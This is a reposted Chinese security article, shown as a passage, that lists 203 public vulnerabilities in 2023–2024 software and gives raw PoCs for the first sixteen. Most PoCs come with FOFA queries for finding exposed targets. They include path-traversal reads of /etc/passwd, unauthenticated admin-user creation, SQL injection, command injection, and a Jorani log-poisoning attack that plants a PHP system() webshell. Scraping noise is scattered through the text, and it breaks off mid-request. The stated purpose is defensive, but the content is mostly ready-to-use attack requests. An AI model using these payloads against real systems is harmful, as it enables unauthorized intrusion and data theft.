互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

7 o1 b* t- n5 a1 y- n6 z7 d5 x发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

( R! u1 X. V" W6 [& y% x: L0 I安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
$ b5 \+ W& \  ]4 D4 W! z
0 K! m# Z: ?! x. H文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
+ \% t& _" P6 M. c7 Y( |
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明
3 u# S. y! x7 P- R
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
8 F5 m) W# X/ {: j$ [7 z) @


& k$ A4 D1 B& q$ k) y3 t目录
' i5 C7 e/ n( \1 w
) D5 h  P1 B: {- a  g01
/ `2 {& P6 `4 R, J
0 R2 E% @% _# O9 ~" N* i  F* ?1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
! `5 U& a& Z4 Y$ V% ^4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
) E! _1 j" t! S" j5 n, A1 ]9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
% c- e3 Y6 k( m" Q9 p5 X11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
* P- S: O  Z3 m" p13. 红帆iOffice ioFileDown任意文件读取
3 [7 u2 V1 j# N' v14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
" t  m9 ?. q- @' W6 A& S7 R22. 大华ICC智能物联综合管理平台 log4j远程代码执行
/ _+ N# G% m3 h- o! A23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
# K2 E6 `/ r# t9 n7 g# x7 r+ E24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
8 C* z2 R$ m7 S+ m2 r5 k! E, V. u26. 用友NC linkVoucher SQL注入
# _' O' N0 C" g7 ?27. 用友 NC showcontent SQL注入
  g2 v& r* d% n; w28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
3 y! q+ @4 x. E/ p. H& h+ I: G30. 用友NC importPml SQL注入
# |# I7 f5 k" [: `31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
- a3 f- Q# w$ _0 j) ]6 d0 ~' v33. 用友NC downTax/download SQL注入
% z; r4 H$ z. @& K' \34. 用友NC warningDetailInfo接口SQL注入
: t) K% V+ t$ m8 l35. 用友NC-Cloud importhttpscer任意文件上传
% L" R" R' g2 [  W! S9 J* w9 ?! P36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
1 a9 i4 y+ _7 O7 s40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
( F, C! x- b* V46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
3 U2 {% {2 T% B+ O, G51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
( K7 v; B- }/ Y" F8 G9 N% o52. 泛微E-Office json_common.php sql注入
3 Q% g6 g- K2 a* o$ C) }53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
/ S0 X% N' M! |; s62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
$ q# a( J% q) a: j64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
- H5 c& e; a+ S" u. K* Q% V/ l! u67. 万户ezOFFICE wpsservlet任意文件上传
9 W4 S" H6 j. w" s+ O68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
- k. N2 y4 Y1 L4 G. D9 K73. GeoServer wms远程代码执行
3 F7 D  z1 V6 _; i74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
+ z5 h) R; |! q) P- G. H76. 新开普掌上校园服务管理平台service.action远程命令执行
7 M' [' _  Y1 N3 a( V+ C77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
9 Q! ]" l5 |0 w( O6 M; [' `80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
/ u5 ?0 G: T  c- F6 [  J2 `0 v82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
& |5 c6 n0 F  z- `! ?83. JeecgBoot testConnection 远程命令执行
- t5 y$ T4 L* J4 r$ e$ ^* v* ]: j0 y% Q6 g84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
, n( `( T$ O6 X8 P4 I  ]1 Q85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
' _6 J& L6 N5 f/ Y, A87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
9 {+ _- C) Q! ~% g5 a89. 致远互联FE协作办公平台editflow_manager存在sql注入
8 ~  w2 h4 a  ~9 d/ w0 g90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
$ g& A5 c4 a, B98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
& l4 U* ?8 _9 V% p# |6 x101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
& ]- |4 f& Q) M5 l: ]- |4 p' W8 Q106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
% @& j0 d. f7 Y( z- n$ R, Z108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
3 T0 I. l9 t, I. V# V" P110. Goanywhere MFT 未授权创建管理员
3 z8 p* e- g  ~111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
9 |6 p. d' s  i113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
7 S- q+ h: N2 W" c& }% ?115. WordPress Bricks Builder <= 1.9.6 RCE
: D+ Q! h9 ~; {  e7 @8 l9 a116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
- Y* l& ~9 ]: W) U121. 北京百绰智能S42管理平台userattestation.php任意文件上传
" Z  p4 Q+ P# |+ s122. 北京百绰智能s200管理平台/importexport.php sql注入
( b8 o4 }8 r( k, A% P% f2 m123. Atlassian Confluence 模板注入代码执行
" c: |3 @- ^4 }4 M% L  R2 d$ M124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
9 y& l9 s* v9 w* C/ w8 E126. Aiohttp 路径遍历
4 _0 |# q( e& E& y7 _/ H127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
- G( a6 [9 d6 }: m5 Z130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
+ ?2 l2 s+ N" q) E0 w# ]4 w132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
( k& Z% I% S9 F3 R. a7 Z, Y' ?134. 网康NS-ASG应用安全网关index.php sql注入
5 `4 D0 W. h1 c7 I135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
3 t1 z5 d3 U; \9 O) r4 T: d$ c6 |5 V137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
! d3 z) k) w% f% ]+ u" [4 U139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
: B! w# y+ s  z7 J1 f7 v- z) s141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
5 w+ _0 K' _4 ]145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
% i9 W) ~& d9 @+ P) \$ y146. MajorDoMo thumb.php 未授权远程代码执行
+ C: R3 u! k5 ^; c$ y% T; U7 E147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
3 ~: x0 q) ^: h  U* o149. AJ-Report开源数据大屏存在远程命令执行
1 e3 o! g) Z. @: n1 _3 b' W150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
6 e, l& K& Z1 k152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
0 _- M; d' g" ~" d. W: U! n155. 六零导航页 file.php 任意文件上传
, T( T+ {4 E) [& @156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
- G( }! X/ C9 w/ j$ H- G1 x% ~158. Mura-CMS-processAsyncObject存在SQL注入
, ~# P2 ^" O' k3 H, T159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
2 t) |! n' W4 U- w* m1 Z$ Y, m$ \160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
. y3 Z' V- `. S8 m2 R162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
: ^) S# K  t5 |  Z/ s. ~4 ^4 K( b3 u164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
2 q6 H4 d6 `, B$ N) q0 q# K165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
' ~7 m3 F" l, x( R+ [& N167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
, a9 {( I6 m# O, R' Y170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
2 o7 h) D) ?: g/ F172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
/ F, A9 O6 V+ K6 S174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
0 B0 k* t/ ^  m3 h/ W6 E177. H3C路由器敏感信息泄露
7 ]* h7 L7 @, e) v5 }178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
+ v' T5 F0 d1 {) U180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
5 L! l2 y7 o+ \" {0 Z) _  M, t182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
6 F/ i7 |- i7 F' H- ~9 R/ v183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
0 N# q0 y. x% t: Q8 ^186. F-logic DataCube3 SQL注入
3 T* D! I# S1 k1 V187. Mura CMS processAsyncObject SQL注入
" N+ `% b3 D$ s. N188. 叁体-佳会视频会议 attachment 任意文件读取
, l6 g4 l- |  o0 A" \5 ?/ J! a189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
5 h+ n2 O# ?, z! F5 ~195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
5 q# F0 ]# F- U) i196. 河南省风速科技统一认证平台密码重置
( ~& k8 b- c$ b3 v197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
9 P4 Z9 D0 @) g# R2 v' K: {198.  阿里云盘 WebDAV 命令注入
5 }, Q' I5 ]; ^' r0 b* x9 N199. cockpit系统assetsmanager_upload接口 文件上传
- D) u- L; J. v4 l& l200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
9 l. F/ F* p& O. G202. 微擎系统 AccountEdit任意文件上传
$ f0 U, r) F4 g6 r; i% s# ~2 \203. 红海云EHR PtFjk 文件上传

: j+ v" z% \3 V& qPOC列表
4 C3 R4 L; A2 C' k8 ?; J, l
1 _) o) q+ u. u02

( T' n6 P& U( p) V  I& I# p* x: ~1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
0 z7 O  s3 Z# k6 _GET /mem_tracker HTTP/1.1
Host: URL
  U$ U3 L% ?9 @2 C0 z/ j) J& j- t
0 _0 H6 b7 `$ L9 o5 s* p/ x# f. U
( g( M* g, Q/ p8 @2. Casdoor系统static任意文件读取
9 x8 Q5 `6 s. QFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
% A  ]4 r0 S% Q, ]8 aHost: xx.xx.xx.xx:9999
/ \( S" v+ j3 f( R( }User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
% U, [/ `$ Z) z  D; Y- X1 M: gAccept: */*
  m, r; i* |1 ?Accept-Language: en
Accept-Encoding: gzip

/ Z. T6 g- H/ e% E7 I
. z# S7 W- ~9 {( Q3. EasyCVR智能边缘网关 userlist 信息泄漏
0 s: ]+ @! ~2 q8 K7 Z( L! i% tFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
/ g3 d4 d& J5 E( mHost: xx.xx.xx.xx
' C- N3 u' c& j1 S+ n

* w; U3 r* L3 b' x: y: d/ b5 h, d4. EasyCVR视频管理平台存在任意用户添加
" A% G7 g/ |2 ?' kFOFA ：title="EasyCVR"

password更改为自己的密码md5
2 |! d& A) V8 l$ c6 y7 ~. CPOST /api/v1/adduser HTTP/1.1
, _1 ?. \% }6 R# v( j$ S+ w7 M' cHost: your-ip
* j# {! V2 \7 o- gContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

" W+ E8 F" x- f
5. NUUO NVR 视频存储管理设备远程命令执行
1 f0 Q* d; \; Y& oFOFA：title="Network Video Recorder Login"
4 Z3 V& Y9 R% [! f) D. k+ |GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
, G: R/ o/ D- t$ e: _) J) E6 |" v7 D4 yHost: xx.xx.xx.xx

2 @6 T5 A1 r2 x3 E) a. m5 e. t
3 P; ?9 H  L: _" q6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
* i" S$ H" d: O7 n6 J1 BGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
1 M8 X; k% _  z2 z2 W- {  Q6 AHost:

# S0 V( B. s/ r
1 ~, _8 c, u! t' V7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
2 n9 q  P, |/ MGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
- O# d4 k4 D, y: u

3 q* o7 X6 n9 G1 t% {2 {8. 斐讯 Phicomm 路由器RCE
$ J9 [7 c7 B0 m% E  _FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
/ G+ b4 A8 y8 `# H8 x8 LHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
/ H5 L1 I5 M4 ?' qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
% `+ v" e' P" dUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 w4 C: n! c3 c5 A3 O
. C0 t9 P, U- M------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
* r! N5 e0 \1 R5 C. M3 a( ~$ z------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

. T4 @# a; P, n9 t1 J$ y8 k12:00; id;
------WebKitFormBoundaryxbgjoytz
# E# [; [& a( @# h" }Content-Disposition: form-data; name="wifiRebootendrange"

%s:
------WebKitFormBoundaryxbgjoytz
+ ^: f7 N% t- j. D( n( l, SContent-Disposition: form-data; name="cururl2"
- p2 O0 y2 O) s; D7 _3 J" r

+ _8 h( {; A+ k. w------WebKitFormBoundaryxbgjoytz--
8 A+ h# U$ N0 Z( o/ c0 D' G; F
: N8 _" I; \! e% w$ B
7 Z$ G5 ~: T4 U! X5 a- h& M+ I9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
% i' w* G9 O! K6 P3 D
, w( o8 _" S, `; M& I. l# Z
3 E6 d$ U% h% d+ r- V! gpayload为下列语句的二次Url编码

% C/ L" }" u0 z- [( J' m2 L' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

; @+ D, x7 z' T' M10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
- r; ?, h' g( M8 BFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
7 u. ]9 H; i0 W3 d7 D6 sPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
0 D  p- v% j" T0 PContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
" R& K6 r8 M3 L! N5 a' qAccept-Language: zh-CN,zh;q=0.9
Connection: close
) Q! s/ c) u+ a7 _; [5 n- W$ EContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
9 J9 A/ L* c/ Q7 J% \+ D
------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
" q" j- D. w$ e3 W& [# MContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

3 E5 k& X( Y* j' n* n
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
$ j, I" {! \9 ], x9 KPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
$ r% e# j1 h  T" ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
. ?5 _* Q7 u" H/ LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, n% B1 S- p' o9 GAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
7 L) Y5 \# ^  u( z( u8 U! P

12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
% C  n! h* l% p4 L. ?: Q# M3 D, |第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
8 I5 m& ~7 s( O& g0 R8 ^Connection: close
- u: x6 ^2 u) R, Y  L7 uAccept-Encoding: gzip
. t: u& f5 F2 }; }6 Y/ O. F
! a, K7 C$ o% a8 z- b7 O
响应中csrf_cookie_jorani用于后续请求
/ X  W& B3 }) dHTTP/1.1 200 OK
4 ]% Z$ X" q1 A" N  M- EConnection: close
& q+ ~; a0 h6 C1 U; MCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
8 l2 U- N; S& d+ f+ ], g' h5 EExpires: Thu, 19 Nov 1981 08:52:00 GMT
# g+ \2 u& g" `$ y8 L+ W9 [Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
' V8 w( Z+ c0 m& t! QPragma: no-cache
Server: Apache/2.4.54 (Debian)
" \! x/ g$ L& X3 X" q/ vSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
8 d! b* b6 f- t8 QSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
3 t8 [* U7 R4 cVary: Accept-Encoding
$ i9 F% d: n% Z% |1 Q
6 {% h0 o7 N$ G- f4 @9 F4 n1 h( q
POST请求，执行函数并进行base64编码
8 O! K- u% j. ^1 h$ |( I9 nPOST /session/login HTTP/1.1
7 k6 t) S  O3 R; C4 ~- zHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
& a; m$ E: j9 s9 ]2 H8 i. N- r/ }Content-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
6 v5 Q6 j  b6 E& l

# a. Z) n5 K( L  s/ A
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
9 Q7 B' X% N$ `, y0 `. oHost: 192.168.190.30
3 O( S8 x$ b( i) i$ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
6 Z4 N# t3 }8 A: P& b4 MCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
2 M+ |+ s  t2 W* w: sK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
# ^+ ^1 D  z& {/ Y' x5 Q- y5 e1 d1 WAccept-Encoding: gzip
) j+ Z1 a2 k; `4 Y# a

) }0 ]5 y9 A  ^" ^8 s13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
1 q$ e& g$ Z$ y+ ~) x( z% xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
6 D' {1 L: m* O- \% _Accept: */*
Accept-Encoding: gzip

7 l4 `! N/ x. ]6 S  `; j
14. 华夏ERP（jshERP）敏感信息泄露
6 d3 ~* y" O9 h# R3 P- ?  MFOFA：body="jshERP-boot"
# r% b  Q% E% v) \, t泄露内容包括用户名密码
/ }3 e  U8 v' G) l& v- C) t: ?GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
9 r% \0 h6 Y( l( KConnection: close
Accept: */*
2 v/ e3 ?/ O# I3 m6 ]' BAccept-Language: en
Accept-Encoding: gzip


! f' n' m1 i7 U9 Y' N7 ]% x' B15. 华夏ERP getAllList信息泄露
CVE-2024-0490
2 n8 b1 u7 }1 p- v! z7 m) hFOFA：body="jshERP-boot"
) k# k9 \5 I5 B泄露内容包括用户名密码
8 d8 S1 p9 p1 X, @: Y1 ^GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
* ^( Y+ R* Y7 W7 ~" \* jHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
2 T3 N* i* {- W! ?Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
; A: M; {  k; w3 w

16.  红帆HFOffice医微云SQL注入
9 J" U' f* A  m7 R! _( I; \. YFOFA：title="HFOffice"
+ M4 c$ \; F! w( ppoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
